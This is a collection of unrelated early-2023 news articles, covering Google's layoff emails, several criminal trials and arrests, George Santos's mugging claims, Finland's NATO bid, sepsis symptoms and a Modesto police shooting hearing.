(Reporting by Foo Yun Chee; Editing by Bernadette Baum)
Jeremy Joslin spent two decades as a software engineer for Google only to be laid off last week along with thousands of his co-workers. The way the company notified him was "cold," Joslin said.

Google on Friday became the latest technology firm to announce layoffs, releasing roughly 12,000 workers last week. The cuts represent just over 6% of parent-company Alphabet's workforce, which numbered 186,000 as of September, according to a securities filing.

The Silicon Valley giant added thousands of workers during the coronavirus pandemic and is now moving to cut costs ahead of a possible economic recession this year. Still, ex-employees said there was something emotionless about the way they were told they were being let go.

Joslin and other ex-employees at Google said they received notice of their dismissal via an email sent to their personal address, which struck them as insensitive. Receiving no advance warning of what would be their last day at the company added further insult to injury, they said.

Joslin said he understands that laying off thousands of workers at once is a complex procedure and that email was probably the easiest way for the company to do it. But it wasn't the best way, he said.

"At the same time, Google prides itself on solving difficult problems," he told CBS MoneyWatch. "How to notify people gracefully and with respect that they're getting laid off is a difficult problem and I think they could have done a better job solving it."

Software engineer Jeremy Joslin spent 20 years working as an employee at Google but was laid off in 2023. He is pictured here at the Google office in Mountain View in 2015 alongside his dog Scarlet. / Credit: Richard Liu

"Being notified by email is definitely not optimal," Mike Coleman, who worked remotely for Google from Oregon, told CBS MoneyWatch. But, he added, "In the end, I don't think I would have learned anything additional from an in-person notification. Doing it over email allowed me to have my reaction in private versus in front of someone who likely had nothing to do with the decision."

Alphabet didn't immediately respond to a request for comment Tuesday. In a company blog post, CEO Sundar Pichai apologized for the layoffs, saying that the decision "weighs heavily" on him.

Story continues

The search engine's layoffs add to the expanding list of tech firms that have or plan to cut positions. Microsoft announced 10,000 job cuts, or nearly 5% of its workforce, this month, while Amazon said it would trim 18,000 positions. Facebook's parent company Meta plans to eliminate 11,0000 jobs and Salesforce said it would slash 7,000.

Technology shed the most jobs of any sector last year, eliminating nearly 100,000 positions in 2022, according to Challenger, Gray & Christmas, an outplacement firm. Netflix, Peloton, Twitter and other companies have also announced staff cuts or at least plans to scale back hiring.

Even with the layoffs, Google is still one of the biggest names in tech, with more than 125,000 employees worldwide and a market cap of $1.2 trillion.

No chance to say goodbye

Notifying employees of their dismissal via email isn't illegal under U.S. But what happened at Google is another example of companies failing to deliver bad news gracefully. Better.com laid off 900 employees in 2021 via Zoom, sparking outrage on social media. United Furniture Industries, a furniture store in Mississippi, laid off 2,700 workers last year via text messages days before Thanksgiving.

Joslin shared his frustration with the Google layoffs on Twitter last Friday in a post that has garnered more than 3,000 retweets and 42,000 likes. "What a slap in the face. I wish I could have said goodbye to everyone face to face," Joslin tweeted. He said ultimately the email method robs employees of saying goodbye to colleagues or removing important trinkets from their desk.

It's hard for me to believe that after 20 years at #Google I unexpectedly find out about my last day via an email. What a slap in the face. I wish I could have said goodbye to everyone face to face.#layoffs

 Jeremy Joslin (@jcj) January 20, 2023

"It would have been nice to have more of a human touch to it  maybe have my manager reach out to me, maybe give me a phone call," he said. "If you're going to send an email, acknowledge the work I've done there and the time I spent (and) say thank you."

Google's stock price fell 2.3% on Tuesday to roughly $99 a share.
A key witness in the murder trial of Jerel Stanfield was escorted out of the Fresno courtroom Monday after an emotional outburst, prompting the defendants attorney to ask for a mistrial.

Lajeana Ramseys breakdown temporarily stopped the trial as Judge Jonathan Conklin ordered an immediate recess. He later denied the request for a mistrial.

Ramsey was the girlfriend of 23-year-old William Simpson, who police say was gunned down by Stanfield on March 31, 2013 while Simpson, Ramsey and Ramseys 3-year-old son were in a car parked outside a relatives apartment in central Fresno.

The men were members of rival gangs and Ramsey has been reluctant to testify for fear of retribution.

Ramseys testimony and her credibility are critical to prosecutors Chris Gularte case.

Her version of what happened that night has been challenged by Stanfields defense attorney Kevin Little.

During questioning by Gularte, Ramsey tearfully testified about watching her boyfriend lay on the wet pavement, having a hard time breathing. She couldnt immediately tell, but he had been shot several times.

I grabbed him, and he was gasping for air, she said.

But it was during Littles cross examination that she broke down. Little was trying to explain to the jury that his client was not immediately identified by Ramsey as the man who killed her boyfriend.

Little suggested that Fresno police detective Andre Benson, who is now a lieutenant, steered Ramsey toward identifying Stanfield as the shooter.

Ramsey earlier testified that she saw Stanfield standing in front of Simpsons white sedan after he was shot. She said Stanfield looked at her but she wasnt sure if he had a gun in his hand.

She also testified that Stanfield got into a dark-colored mid-size SUV with three other people inside and drove off.

Little challenged her recollection by playing the 911 call from that night. On it, a hysterical Ramsey is heard screaming and crying asking for police and an ambulance to respond.

Story continues

Little asked her if she gave the 911 operator Stanfields name or his description. At the time, Stanfield had long dreadlocks. She said she did not.

I was more concerned about William, she testified. I needed someone to help me.

Ramsey stood up from the witness chair and began shouting at Little that she didnt want to continue.

I need to go, please, I cant do this no more, she said while crying loudly. I cant do this.

She turned to Stanfield and shouted, I (expletive) hate you.

Defense asks for a mistrial

As the jury left the courtroom, Ramsey was escorted out by several uniformed and plainclothes Fresno police officers who are there for protection against possible threats.

.After the courtroom was cleared, Little asked for a mistrial.

The judge denied his request, saying that Ramseys outburst was not out of line, given she was reliving the moment her boyfriend was on the ground dying from a gunshot wound.

After the lunch break, the judge spoke with Ramsey and reminded her about the the importance of maintaining her composure. She resumed testifying.

This is the second murder trial for Stanfield; the first in 2017 ended in a hung jury.

The trial resumed Tuesday.
An Essex County Superior Court jury on Monday convicted a Lynn man in the 2020 murder of a 25-year-old man from Worcester.

The jury found Derell Guy, 37, of Lynn, guilty of first-degree murder in the death of Bryan Omar Mendez-Hernandez. The jury, sitting in Lawrence, also convicted Guy of armed robbery.

The jury ruled that Guy was guilty of murder on the theories of extreme atrocity and cruelty and of felony murder, according to a news release from the office of Essex District Attorney Paul Tucker.

Carlos Lopez, 34, of Lynn will also be tried in connection with the robbery and death of Mendez-Hernandez.

According to law enforcement, Guy and Lopez confronted Mendez-Hernandez at Howard and Lander Streets in Lynn on Jan. 4, 2020, with the intention of taking his jewelry.

When Mendez-Hernandez ran from the two men, Guy chased him down and fired multiple shots, police say.

An audio recording played at the trial showed Mendez-Hernandez pleading to be taken to a hospital as he suffered from wounds that turned out to be fatal.

Guy, who had been placed on the state's most wanted list, was arrested in July 2020 in Carthage, Maine, after a two-day manhunt.

This article originally appeared on Telegram & Gazette: Derell Guy guilty in death of Bryan Omar Mendez-Hernandez of Worcester
A deputy with the Brunswick County Sheriff's Office was arrested early Monday morning in North Myrtle Beach.

According to online booking records, 58-year-old James Richey Geiger was booked into the Horry County Detention Center shortly after 1 a.m. Monday. He was arrested by the North Myrtle Beach Police Department and charged with driving under the influence.

Geiger serves on the Brunswick County Sheriff's Office I.M.P.A.C.T. (Improving Public Awareness and Community Training) team. The team works to educate citizens on current laws and ways they can avoid and prevent criminal activity.

According to a Brunswick County Sheriff's Office spokesperson, Geiger is currently suspended without pay.

Geiger was released from custody around 4:30 a.m. Monday, booking records show.

Jamey Cross covers Brunswick County for the StarNews. Reach her at jbcross@gannett.com or message her on Twitter @jameybcross.

This article originally appeared on Wilmington StarNews: Brunswick County deputy facing DUI charge suspended without pay
Rep. George Santos (R-N.Y.) claims in a newly surfaced interview that he was mugged in broad daylight a block from Trump Tower in Manhattan  and the crooks even took the shoes off his feet.

Seeking to demonstrate the impact of rising crime, the newly elected Long Island lawmaker told a Brazilian podcast that he was attacked on Fifth Ave. and E. 55th St. on one of the citys fanciest shopping strips in the summer of 2021.

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They robbed me, took my briefcase, took my shoes and my watch. And that was in broad daylight, he said, speaking in his native Portuguese. I was leaving my office, going to the garage, getting my car, and I was mugged.

The interview, which was done after Santos won election to Congress in November, was unearthed by MSNBC.

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Rep. George Santos (Drew Angerer/Getty Images)

The podcast host incredulously asked Santos: They stole your shoes in the middle of Fifth Ave.?

In the middle of Fifth Ave., he retorted, pinpointing the spot of the alleged crime just a block from Trump Tower at 725 Fifth Ave.

Santos, who has admitted to lying about everything from his work history to education, also made a curious remark about the muggers race.

They werent Black. They were even white, Santos said, as if he might have expected the supposed criminals to be African Americans.

Aside from the mugging, Santos claimed that his Florida home was once burglarized because he was attending a Republican party on New Years Eve and that he was once the victim of an assassination attempt.

We have already suffered an attempt on my life, an assassination attempt, a threatening letter, having to have the police, a police escort standing in front of our house, Santos said.

Santos did not respond to requests for comment about the supposed incidents. Police told MSNBC they couldnt confirm them without more details.

Santos framed himself as a trailblazing conservative gay immigrant during his successful campaign to flip a Democratic leaning district on the North Shore and a slice of Queens.

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He is under pressure to resign from critics on both sides of the aisle for his shocking string of lies. But he insists hes not going anywhere.

Federal and state officials are also investigating him for possible fraud. Its unclear where he got $700,000 that he loaned his campaign.

Just in the past week, he was accused of scamming a homeless veteran out of $3,000 in donations earmarked for his dying dog.

Immigration records debunked his dramatic claim that his late mother was inside the World Trade Center on 9/11.
On Christmas Day, Pedro Martinez received a WhatsApp video call from his son, who's imprisoned in Venezuela.

It was the first time since his son, Eyvin Hernandez, a Los Angeles deputy public defender who was jailed in April, was allowed to make such a call.

I became really nervous, said Martinez, through tears, about the video call. Just to see him and hear his voice was the most beautiful gift Ive ever received. It was a gift from God.

Martinez, 65, who is retired and disabled, said the call gave him hope that his son would be released soon.

Hernandez has been charged with criminal association and conspiracy. His imprisonment in 2022 came as a shock; his family insists he is innocent.

According to relatives, Hernandez, 44, enjoyed traveling and was vacationing in Colombia, a country he had visited before, last March. He was supposed to return April 3.

Ana Sandoval checks her phone while talking with Pedro Martinez, in Compton, Calif. (Jae C. Hong / AP file )

He met up with friends in Colombia and they were planning to fly to some beach towns. One of his friends, who is Venezuelan, needed to have her passport stamped in order to go. Hernandez accompanied her to Cucuta, a town on the Colombia-Venezuela border, to get the stamp.

Once in Cucuta, they took a taxi and the driver dropped them off in front of a dirt path and indicated they should walk down.

The intentions, of course, were never to cross over to Venezuela, he was just accompanying her, said Henry Martinez, Hernandezs brother. Theres no sign that says, Youre leaving Colombia or Welcome to Venezuela.

According to Henry Martinezs account, his brother and his friend were walking down the dirt path when they came across masked men with military equipment. The friend told the men she wanted to get her passport stamped and the men replied that they havent done that in three years. The men told Hernandez that if they wanted to enter Venezuela, he had to pay $100. Hernandez told them he was not trying to enter the country and did not have $100. Hernandez and his friend were then hooded, put in the back of a pickup truck and turned over to Venezuelan officials, the brother said.

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Since then, Hernandez has been held in a notorious military prison known as DGCIM, an acronym in Spanish for General Directorate of Military Counterintelligence.

According to the State Department, the U.S. special envoy for hostage affairs, Roger Carstens, visited Caracas, the Venezuelan capital, Christmas to check on Hernandez and several other Americans held in the country.

In addition to Hernandez, they include Luke Denman, Airan Berry and Jerrel Kenemore.

Ana Sandoval hugs her son Henry Martinez in Compton, Calif. (Jae C. Hong / AP file)

State Dept. asks for 'immediate and unconditional release'

Hernandez has been designated by the State Department as being wrongfully detained in Venezuela.

In a statement to NBC News, the department said, Our embassies and consulates abroad have no greater priority than the safety and security of U.S. citizens overseas.

It added: We continue to press for the immediate and unconditional release of all wrongfully detained U.S. nationals in Venezuela. The United States government will continue to work tirelessly to seek the return of all the wrongful detainees until they are home to their families where they belong.

Its not the first trip Carstens made to Venezuela. Prior visits led to the release of several other Americans.

In a prisoner swap in October, the government of Venezuelan President Nicolas Maduro released seven jailed Americans, including five of the so-called Citgo 6, former executives of Venezuelas U.S.-based oil refining company who were convicted of corruption. The sixth had been released months prior along with a U.S.-Cuban dual national.

The U.S. has not had a diplomatic presence in Caracas since 2019, so access to jailed Americans has been limited since then.

'I want to come home'

Hernandez was born in El Salvador and came to the U.S. when he was 3 years old, eventually graduating from UCLA with degrees in math and physics. He later received a law degree from UCLA.

His friends and colleagues have been rallying behind him and formed a group of 45 people, the vast majority of them attorneys. They strategize and identify ways they can support him and bring more awareness to his case. They recently held a candle-lit vigil outside his alma mater.

He has had an impact in all of our lives and now were closely working hand in hand, said Vianey Juarez, who worked alongside Hernandez as a deputy public defender years ago.

His brother and father are upset that the number of calls Hernandez is allowed to make from prison has been reduced in recent months  from three to four times a week for about 15 minutes, to twice a week for 5 to 10 minutes.

According to his brother, Hernandez has been in solitary confinement most of the time, with the lights turned on 24 hours a day and very little space to walk around. He has lost weight over the months.

Hernandez enjoys sports, Henry Martinez said, who isn't as much of a sports fan but was keeping up with his brother's favorite teams to distract him during their calls. But he said lately, things have changed.

Sometimes I can hear his voice weak and just frustrated and anxious, Martinez said. He tells me, I want to come home.

This article was originally published on NBCNews.com
MV Realty is already facing lawsuits and investigations into its business for allegedly swindling homeowners into contracts, but now the Federal Communications Commission is stepping into the picture.

The FCC is the latest government agency to take on MV Realty amid Action 9s investigation into their deals. According to the FCC, MV Realty used at least two telecommunications companies to flood homeowners with robocalls with misleading claims about mortgages.

Action 9 has been following the investigations into MV Realty for months. The company would offer homeowners fast cash in exchange for the exclusive rights to sell their homes for 40 years.

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Many homeowners say they didnt know what they were committing to, and when they broke the deal, the company took legal action in many cases.

Now, the FCC says its ordering companies to make sure robocalls from MV Realty dont make it to consumers.

Attorney Generals in Florida, Massachusetts, and Pennsylvania are suing MV Realty. Action 9 asked North Carolina Attorney General Josh Stein if he plans to sue. Were aware of this company and its practices and were investigating the matter and, at this point, thats all I can say, Stein said.

On Feb. 15, Ohio Attorney General Dave Yost confirmed the state was filing an injunction against MV Realty, along with the companys founder and its principal broker to stop them from negotiating real estate contracts that violate Ohio law & from practicing real estate without proper licensing.

MV Realty has declined multiple requests for on-camera interviews. The company has instead emailed statements saying the terms of its agreements are clearly explained and that the company is confident any inquiry will confirm [its] team has operated in full compliance with the law.

WATCH BELOW: Florida sues realty company and reality-star founder for swindling homeowners across U.S.
A new federal investigation has found that Courtney Edwards, the 34-year-old ground worker at the Montgomery Regional Airport Alabama who died after being sucked into a jet engine on New Years Eve, was repeatedly told not to go near the engine before her fatal accident.

Ms Edwards was working at the airport on 31 December when an Envoy Air flight from Dallas, Texas, operating as American Eagle flight ENY3408 arrived in Montgomery, Alabama. Minutes later, she passed too close to a running engines on the plane and was killed.

A preliminary report published on Monday by the National Transportation Safety Board (NTSB) found that safety protocols were not properly followed in Ms Edwards death.

According to the report, the planes pilots decided to leave the engines running for a two-minute cooldown period following the planes arrival at the airport until the plane could be connected to ground power.

Per the report, the pilots informed airport workers that they were leaving engines running and that the workers themselves were briefed in two separate safety meetings that the planes engines would be left running for a period of time following its arrival and not to approach them.

In addition to the verbal warnings, the NTSB report also states that the plane appeared to have rotating beacons illuminated to signal that the engine was still on.

The report also notes that the American Eagle Ground Operations Manual tells employees to NEVER approach an aircraft to position ground equipment next to an aircraft or open cargo bin doors until the engines are shut down and the rotating beacon(s) turned off, except when conducting an approved single engine turn.

As the captain of the aircraft was beginning the process of shutting down the engine on the planes right side, they got an alert that the the forward cargo door had been opened  at which point the planes first officer opened his window to tell the ramp agent that the engines were still on.

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Shortly thereafter, the plane shook violently as Ms Edwards, a mother, tragically lost her life.

According to the report, a ramp agent observed [Ms Edwards] as she began to move away from the airplane before he turned to lower the cord for the ground power. Shortly thereafter he heard a bang and the engine shut down.

The preliminary NTSB report runs only four pages. It is not yet known when the NTSB will release a full, final report.
Toronto police have arrested three people and are now looking for a fourth suspected after two Ferrarisone of them worth $1 millionwere stolen at knifepoint last fall.

The police say they received a call for a carjacking in the Eglinton Avenue West and Avenue Road area on Sept. 30 shortly after midnight.

It is alleged that two suspects in a BMW followed the victim who was driving in their 2017 Ferrari F2. After the driver of the Ferrari parked their vehicle and walked home, the suspects approached the victim and demanded the keys to the Ferrari at knifepoint.

"The victim relinquished the keys and the suspects fled in the victim's vehicle," the police say in the news release.

Police also said that the 2017 Ferrari F12 was valued at $1 million.

In a recently released video by the police, the bright orange supercar can be seen travelling on an unidentified residential street ahead of the suspects dark-coloured BMW.

Although the carjacking cannot be seen in the video, police say the it occurred shortly after.

In another incident, a few weeks later on Nov. 6, the police received another report of a carjacking in the St. Clair Avenue West and Avenue Road area.

Police said the victim was driving their 2018 Ferrari 488 Spider and parked the vehicle.

The suspect approached the driver as they were getting out of the vehicle, police alleged in the release. The suspect produced a knife, and aggressively searched the victims pockets until the key to the Ferrari was located.

Police said the stolen vehicle was valued at around $300,000.

After an extensive joint investigation between the The Hold-Up Squad- Car Jacking Task Force and the Organized Crime Investigative Support Unit, four suspects were identified for being responsible for both of the carjackings.

On Nov. 22, 2022, three of the four suspects were located and arrested.

Samuel Wyncenty, 22, Beaudon Petrohelos, 22 and Elliot Raines, 24, all from Toronto, are facing serious charges, including robbery with a weapon and possession of property obtained by crime over $5000.

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Now, a fourth suspect, identified as Ryan Tyson, 23, of Toronto is wanted on a charge of conspiracy to commit an indictable offence in connection to the carjackings.

Tyson is also wanted in relation to an incident that occurred on Tuesday, October 4, 2022

Tyson is allegedly also wanted in connection with another incident on Oct. 4, 2022.

Officers said Tyson allegedly evaded police and struck an officer assigned to the gun and gang task force with a vehicle he was driving.

Police also say that they have recovered both the Ferraris.

Anyone with information is asked to contact police at 416-808-7350 Crime Stoppers anonymously at 416-222-8477.
(Bloomberg) -- Finland for the first time opened the door to potentially decoupling its NATO application from that of Sweden, after its neighbor encountered fresh resistance from Turkish President Recep Tayyip Erdogan.

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The path floated by Foreign Minister Pekka Haavisto, if it becomes more serious, would mark a significant shift in Finnish policy since the Nordic nations jointly applied to join the North Atlantic Treaty Organization in May. Faced with continued objections from Turkey  mostly to what it sees as inadequate crackdown on Kurds in Sweden  the two Nordic countries had up to now insisted their applications be considered together.

Its still unclear how much Finland will shift its approach. The stance remains for the two countries to enter NATO simultaneously, given security considerations, Haavisto told reporters in Helsinki on Tuesday, softening comments from earlier in the day, when hed said Finland may need to prepare going it alone.

A joint path to NATO is still possible, Haavisto said, adding that somewhere in the back of our minds we are considering options in case a country were to face permanent resistance.

Turkey and Hungary are the only two of NATOs 30 members who have yet to ratify the applications, and on Monday, Erdogan ruled out supporting Swedens bid after a far-right activist burned Islams holy book in Stockholm. In response to his comments, US officials reiterated their support for NATOs expansion.

Erdogans comments injected new levels of doubt about Swedens prospects of joining the alliance, since the Turkish leader didnt make clear whether hes willing to change his stance. With an election slated for May, Erdogan is aiming to burnish his support from religious conservatives.

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Still, Finlands President Sauli Niinisto sought to ease tensions. Speaking to reporters in Kyiv, he urged taking it calmly and said undoubtedly it seems to be the case that we have to wait for the elections in Turkey to take place.

Turkey had suggested processing Finlands application separately at the beginning of the process because it did not have major issues with Helsinki, but the idea was opposed by both Nordic countries as well as NATO Secretary General Jens Stoltenberg, two Turkish officials who spoke on condition of anonymity said Tuesday.

Turkey is largely happy with Helsinkis cooperation with Ankara, which will be reflected in Turkeys decision, they said, stopping short of saying whether the Turkish government would look favorably to quickly ratifying Finlands bid if asked.

Joining NATO without Sweden would leave a large territory in Finlands rear outside of the alliance, potentially risking supply routes and NATOs ability to provide Article 5 security guarantees, Haavisto said. It would also entail rolling back some military cooperation the two counties have developed over the years.

There is no plan B to going it together, Haavisto said. That path hasnt been considered possible, and thats in part to do with how to plan our defenses. These Nordic defenses are very difficult to organize, looking at our long eastern border and considering the worst-case scenarios, and Sweden has a key role to play in how we organize these defenses.

Hungary has said it plans to process the applications at the opening of parliament next month, though its timelines have shifted in the past. Approval by Budapest would leave Turkey as the lone holdout to the expansion, which NATO diplomats had hoped to finalize in time for the alliances summit in Vilnius in July.

Last summer, Turkey agreed in principle to NATO allies including the US inviting Sweden and Finland to join the group, but went on to demand concessions from Sweden. Those included a broader crackdown on Kurdish groups that Turkey considers terrorist organizations alongside the extradition of suspects.

Finland and Sweden both fulfill all NATO criteria and should be admitted, Haavisto said, adding that the delay benefits the blocs opponents.

Erdogans nationalist ally, MHP leader Devlet Bahceli, said Turkey would not be satisfied even after the Swedish government condemned the burning of the Koran, which he said was a grave attack against our religious and spiritual sensitivities.

Condemning it is not enough, Bahceli said.

Sweden on Tuesday again insisted that its in compliance with an agreement hammered out at NATOs June summit in Madrid last year, which allowed the expansion process to move forward.

Protesters are toying with the security of Finland and Sweden in the current situation with actions that are clearly intended to provoke Turkey, Finlands Haavisto said. This has become an obvious hindrance to the process.

Finland guards a border with Russia roughly 1,300 kilometers (800 miles) long and has a history of wars with its eastern neighbor. Its seeking to join NATO primarily to deter any future wars, and upholds a strong military to defend itself.

--With assistance from Anton Wilen, Jonas Ekblom, Ott Ummelas, Firat Kozok and Olesia Safronova.

(Updates with comments from Finnish president in seventh paragraph.)

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(Alamy/PA)

Sepsis kills around 50,000 people every year in the UK, and takes more lives than breast, bowel and prostate cancer combined worldwide.

But what is this deadly condition that can overwhelm and kill previously healthy adults and children within a matter of hours?

Sepsis expert and paediatric intensive care consultant Dr Colin Begg, a trustee of the charity Sepsis Research FEAT, explains: Sepsis is a major cause of serious illness and death in the UK and across the globe. Its main impacts are on the very young and the very old, but it still remains one of the few disease processes that can kill a healthy young adult in hours.

Sepsis arises when the bodys normal response to an infection injures and overwhelms its own tissues and organs. It may lead to shock, multi-organ failure, and death  especially if not recognised early and treated promptly.

Begg, a consultant at the Royal Hospital for Children in Glasgow warns sepsis is the final common pathway to death from most infectious diseases, including Covid affecting between 47 and 50 million people every year worldwide, and killing at least 11 million of them. In fact, 20% of all deaths worldwide are associated with sepsis.

Begg says sepsis mortality in developed countries like the UK is about 15%, but warns that many surviving patients suffer from the consequences of sepsis, which can include amputated limbs, for the rest of their lives.

Acting fast and seeking early medical treatment can save lives, particularly for primary sepsis in otherwise healthy people, he stresses. Sepsis usually begins with an infection, for example in the chest, skin, urine or meningitis, but in the early stages symptoms can be vague and hard even for doctors and nurses to recognise. Some people describe it as feeling like being hit by a bus, and often confuse it with bad flu-like symptoms.

Colin Graham, chief operating officer at Sepsis Research FEAT, explains that the biological processes that cause sepsis still arent understood, and more research is needed. Many people are still unaware of how serious sepsis is, he says. Thats why raising awareness of this deadly condition is vital, so more people are able to recognise the signs.

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Sepsis can be mistaken for the flu as symptoms are sometimes similar, but the difference is that these symptoms worsen rapidly when sepsis is the cause. The most important thing is to react fast and seek urgent medical attention as this can improve chances of survival.

5 sepsis symptoms

Although in the early stages, sepsis, flu and chest infections can have similar symptoms, Graham stresses there are 5 key sepsis symptoms

1. High/low temperature

Sepsis can cause a patient to develop a high fever as part of the bodys immune response, although in some cases theyll develop a low body temperature (hypothermia) instead. Hypothermia during sepsis is considered very dangerous, stresses Graham. Theres more risk of fatality than when a patient develops a fever.

2. Uncontrolled shivering

Sepsis can cause a drop in body temperature and severe shivering, which is one of a response to fighting infection, and is the bodys way of trying to increase its temperature.

3. Confusion

Sepsis can cause acute inflammation and swelling, making it difficult to breathe, and leading to a drop in oxygen levels. Low levels of oxygen in the blood can cause mental confusion and delirium, explains Graham.

4. Passing little urine

As sepsis progresses, blood pressure may become very low, which means not enough blood and oxygen can reach the bodys organs, says Graham. This can cause organ failure, he says, and when kidneys start to fail it can lead to a drop in urine output.

5. Blotchy or cold arms & legs

During sepsis, the clotting mechanism works overtime. Nutrients cant get to the tissues in the fingers, hands, arms, toes, feet, and legs and the bodys tissues begin to die, says Graham. At first, the skin may look mottled or blotchy and may appear blueish. In severe cases of sepsis, the areas of dead skin can turn black and limbs may need to be amputated.

Someone with sepsis might not show all these symptoms at once, says Graham, and may have other symptoms like difficulty breathing and a rapid heartbeat, which may occur because sepsis can make arteries dilate or widen, causing a drop in blood pressure, which means the heart has to work harder to push the blood through at a normal pressure.

On their own, these symptoms can be an indication of other health problems, says Graham, but a combination of two or more of them, becoming progressively worse, means you need to seek urgent medical attention, so call 999 or go to A&E. He stresses that for every hour treatment is delayed, the chance of survival reduces by over 7%.

National Early Warning Score (NEWS)

The difficulty in spotting that flu-like symptoms are actually sepsis was one of the reasons that led to the development of the National Early Warning Score (NEWS and NEWS2) for the detection of deteriorating patients, a measure which has been widely implemented to improve patient safety in the NHS.

Professor Bryan Williams is chair of medicine at University College London (UCL), and clinical lead for the Royal College of Physicians team that led the NEWS development. He says: Sepsis doesnt have a single type of presentation and thats one of the reasons it can be so dangerous and recognition can be delayed.

He explains that in NHS hospitals, doctors and nurses are encouraged to review patients NEWS2 score, which is based on routine vital signs measurements such as heart rate, temperature, respiratory rate, oxygen levels etc. If the score is five or more, medics should consider whether sepsis could be causing the illness, and the patient should be reviewed urgently by an experienced clinician, he stresses.

If the patient has risk factors for sepsis such as evidence of infection, a skin rash, is immune compromised or has a wound that that might be a source of infection, then this strengthens the likelihood of sepsis, he says.

Nevertheless, even in the absence of such indicators, this NEWS2 warning system is an important tool to alert medical staff that the patient is acutely ill and may have sepsis as an underlying cause.
The deadly shooting of an unarmed man by former Modesto police officer Joseph Lamantia was reasonable because he believed he faced an imminent threat of death or injury, according to a use-of-force expert who testified in a preliminary hearing last week.

Jeffrey Martin was hired by the Stanislaus County District Attorneys Office to give his opinion about the Dec. 29, 2020, shooting of Trevor Seever, but he testified as a witness for the defense on Friday, citing a 29-page report he drafted.

Lamantia was fired and charged with voluntary manslaughter three months after he fatally shot Trevor Seever at the Church of the Brethren on Woodland Avenue. He remains free on bail.

Lamantia began firing at Seever within three seconds of seeing him running away and within one second of giving the commands to show me your hands, according to testimony from Stanislaus County District Attorneys Office Lt. John Locke.

Lamantia told Internal Affairs Sgt. James Reeves he could see that Seever was not pumping his arms, describing them as stagnant in front of him, and thought he was reaching for a gun in his waistband.

Martin testified that, given the totality of the circumstances, an objectively reasonable officer facing similar circumstances would reasonably believe himself in immediate threat of death or serious bodily injury.

Those circumstances include reports by Seevers family that he said he had a gun, that the family fled its home as a result, and that Seevers arms were not pumping in the normal fashion of someone who is running but rather were in front of him. It also included Lamantias knowledge of an officer safety bulletin about Seevers posts on social media that said, A good cop is a dead cop and All I want for Christmas is another dead MPD Officer.

Martin said his conclusions are based on a law on use of deadly force that went into effect Jan. 1, 2020, the same year Lamantia shot Seever.

Under the law, an officer is justified in using deadly force to defend against an imminent threat of death or serious bodily injury to himself or to another person. It also can be used to apprehend a fleeing person who caused or threatened death or serious injury if the officer reasonably believes the person will cause death or serious bodily injury to another unless immediately apprehended.

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The new law added definitions for deadly force, imminent and totality of the circumstances, as well as amended self-defense language to include objectively reasonable force as a standard by which an officers actions are judged, according to the California Commission on Peace Officer Standards and Training. The definition of imminent says a reasonable officer must believe that the subject of the force has the present ability, opportunity, and apparent intent to immediately cause death or serious bodily injury to the peace officer or another person.

Though Seever never had a gun, Martin said that with the set of knowledge Lamantia had, it was reasonable to conclude that Seever had the ability and the opportunity to harm him and that Seevers intent should be implied based on his movements while running.

Because if the officer waits to see a ... movement that clearly demonstrates what that intent is, by the time that movement is completed, muzzle flash might be what the officer is seeing and it might be too late for the officer to effectively defend (himself), Martin said.

While Martin believes it was reasonable for Lamantia to conclude the threat he faced was imminent, he did not believe it was reasonable for Lamantia to think there was an imminent threat against Seevers family, which was a block away at a different church.

Martin is a retired Bay Area police officer who teaches courses in officer-involved shooting investigations, use-of-force law and human factors. He also does consulting and expert witness services.

He also testified for the defense in the trial for Justin Wall, the Stanislaus County sheriffs deputy who was acquitted of voluntary manslaughter in 2021.

The preliminary hearing for Lamantia started in November but was postponed after he broke his foot while visiting his family in Montana for Thanksgiving. The hearing is held for a judge to determine if there is enough evidence for the charge to stand and proceed to trial.

The prosecution rested its case Friday after testimony from Locke and Reeves concluded.

Both Stanislaus County Deputy District Attorney Rick Mury and Lamantias attorney Roger Wilson led Reeves through a line of questioning that supported each of their cases.

Wilson focused on the portion of the law about the reasonableness of force.

Reeves agreed it is reasonable for an officer who is told a suspect is armed to believe the suspect is armed and to draw his weapon in response because the suspect could kill or seriously injure him.

Reeves also agreed that a suspect reaching for his waistband is a concern because guns often are stored there, that an officer neednt wait for a firearm to be pointed at him to use force, and that a suspect can fire a gun while running.

Mury asked Reeves about what Lamantia said his state of mind was during the incident.

In his line of questioning, Mury emphasized that Lamantia never considered that Seever might not have a gun or might not fire it.

From the time he started responding to the call at McHenry and Briggsmore Avenues to the time when he arrived at the church, Lamantia was convinced Seever was planning to find and kill his family, Reeves testified. When he drove into the church Lamantia then thought Seever was going to ambush and kill him. And when he saw Seever running away he switched back to thinking he was again after his family.

Since the shooting, Seevers family has said that he was in the middle of a mental health crisis and needed help. They have filed a wrongful death lawsuit in the case.

The hearing in the criminal case will continue on Feb. 9 with additional testimony from Martin, as well as testimony from Modesto Police Officers who worked on the SWAT team with Lamantia.
THE HAGUE (Reuters) - The former head of Serbia's state security service should have his war crimes conviction for financing and equipping Serb militias in Bosnia during the 1992-95 war overturned, his lawyers argued on Tuesday, saying he was unaware of the crimes.

The case against Jovica Stanisic and his subordinate Franko "Frenki" Simatovic is the final case before the U.N. tribunal in The Hague dating from the Balkan wars that erupted with the break up of the former Yugoslavia, and has dragged on for nearly 20 years.

Stanisic was sentenced to 12 years for aiding and abetting crimes committed by Serb paramilitary groups in Bosanski Samac.

"Stanisic was nowhere near the scene (of the crimes) and was not shown to be in contact with the direct perpetrators," his lawyer Wayne Jordash said.

Both Stanisic and Simatovic have appealed their conviction and sentence and asked for acquittal.

The prosecution also filed an appeal, asking for the men to be additionally convicted of aiding and abetting crimes committed by Serb paramilitary groups in other areas of Bosnia. Prosecutors will outline their case in court on Wednesday.

The Stanisic and Simatovic judgment in 2021 marked the first time Serbian state officials have been convicted for crimes committed on the ground in neighbouring Bosnia.

Prosecutors had argued the men were a direct link between former Yugoslav President Slobodan Milosevic's government in Serbia and crimes committed during the wars in Bosnia and Croatia that left over 100,000 dead and over a million people displaced.

Milosevic died in his cell in 2006 while on trial for genocide and crimes against humanity.

(Reporting by Stephanie van den Berg; Editing by Alexandra Hudson)
People gather in an overflow auditorium during the DuPage County Board meeting on Jan. 24, 2023, in Wheaton as both sides are debated after Sheriff James Mendrick said he will not enforce the states new assault weapons ban. (Mark Black/for the Chicago Tribune)

More than 200 people came to the DuPage County Board meeting in Wheaton Tuesday to make their voices heard after DuPage Sheriff James Mendricks statement earlier this month that he will not enforce the states new assault weapons ban.

